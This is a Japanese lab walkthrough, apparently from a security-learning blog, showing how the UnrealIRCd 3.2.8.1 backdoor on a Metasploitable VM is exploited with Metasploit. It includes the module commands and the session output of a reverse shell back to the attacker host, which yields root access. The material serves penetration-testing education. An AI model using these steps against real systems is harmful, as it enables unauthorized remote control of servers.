UnrealIRCD 3.2.8.1 のバックドアを利用してハッキングを行う

Linux

ポートスキャンの結果により UnrealIRCD のポートが開放されていることがわかっているため、このサービスを利用して今回はハッキングを行ってみます。

6667/tcp open irc UnrealIRCd

UnrealIRCDのバージョン確認

UnrealIRCD とは、IRC というインターネットメッセンジャーサービス(サーバを介してクライアントとクライアントが会話する)のデーモンです。まずこのデーモンのバージョンを確認します。

hexchat のインストール

バージョン確認するために、IRC クライアントソフトである「hexchat」をインストールします。

root@kali:~# apt install hexchat -y

Metasplotitable への接続設定

Kali で hexchat を起動します。
※警告メッセージが表示されますが無視してください。

以下画面で「Add」をクリックし、Metasploitable を追加します。

追加した Metasploitable を選択した状態で「Edit…」をクリックします。
以下画面が開くので、Metasploitable の IPアドレスに変更し「Close」をクリックします。

Metasploitable に接続しバージョンを確認

追加した Metasploitable を選択した状態で「Connect」をクリックします。

接続が開始されます。チャンネルに参加するかどうか選択する画面が表示されますが、OKをクリックします。
すると以下画面が表示され、メッセージ欄にバージョン情報が表示されます。確認するとバージョンは「3.2.8.1」でした。

UnrealIRCD 3.2.8.1 の脆弱性とは?

UnrealIRCD 3.2.8.1 にはバックドアが内在しており、攻撃者によって任意のコマンドを実行されてしまいます。

JVNDB-2010-005500 - JVN iPedia - 脆弱性対策情報データベース
脆弱性対策情報データベース

Exploit DB を確認すると、この脆弱性を攻撃するモジュールが Metasploit に用意されていることがわかります。

Offensive Security’s Exploit Database Archive
The Exploit Database - Exploits, Shellcode, 0days, Remote Exploits, Local Exploits, Web Apps, Vulnerability Reports, Security Articles, Tutorials and more.

このモジュールを利用してハッキングを行っていきます。

バックドアを利用してシェル操作を行う

この脆弱性を攻撃するモジュールは「exploit/unix/irc/unreal_ircd_3281_backdoor」です。
それでは、このモジュールを利用して実際に攻撃を行っていきます。
RHOST」は Metasploitable の IPアドレスを指定します。

msf5 auxiliary(admin/smb/samba_symlink_traversal) > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 10.0.0.5
rhost => 10.0.0.5

RHOST を設定したら、「run」でモジュールを実行します。

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.0.0.2:4444 
[*] 10.0.0.5:6667 - Connected to 10.0.0.5:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.0.5:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 2Kr5CXyvkpjfVovf;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "2Kr5CXyvkpjfVovf\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 305 opened (10.0.0.2:4444 -> 10.0.0.5:54761) at 2020-03-25 22:44:39 -0400

最後の行に opend とあるように、セッションの確立に成功しました。
メッセージを見ると、はじめに Kali 側で 4444 ポートで待受け、その後 Metasploitable の6667ポートに接続を行うことで、Metasploitable から Kali の 4444 ポートにセッションを確立させています。

6667ポートにバックドアが存在することによって、こういったセッションの確立が行われています。

この状態であればシェルの操作を行うことができます。
id と入力すると、root権限であることがわかりました。

id
uid=0(root) gid=0(root)

IPアドレスの確認も問題なく行えました。

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:59:5c:61  
          inet addr:10.0.0.5  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe59:5c61/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:76256 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75350 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:5440073 (5.1 MB)  TX bytes:6592025 (6.2 MB)
          Base address:0xd020 Memory:f1200000-f1220000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:6431 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6431 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3174901 (3.0 MB)  TX bytes:3174901 (3.0 MB)

以上から、UnrealIRCD 3.2.8.1 の脆弱性を利用することで遠隔操作が可能なことがわかりました。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第6章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました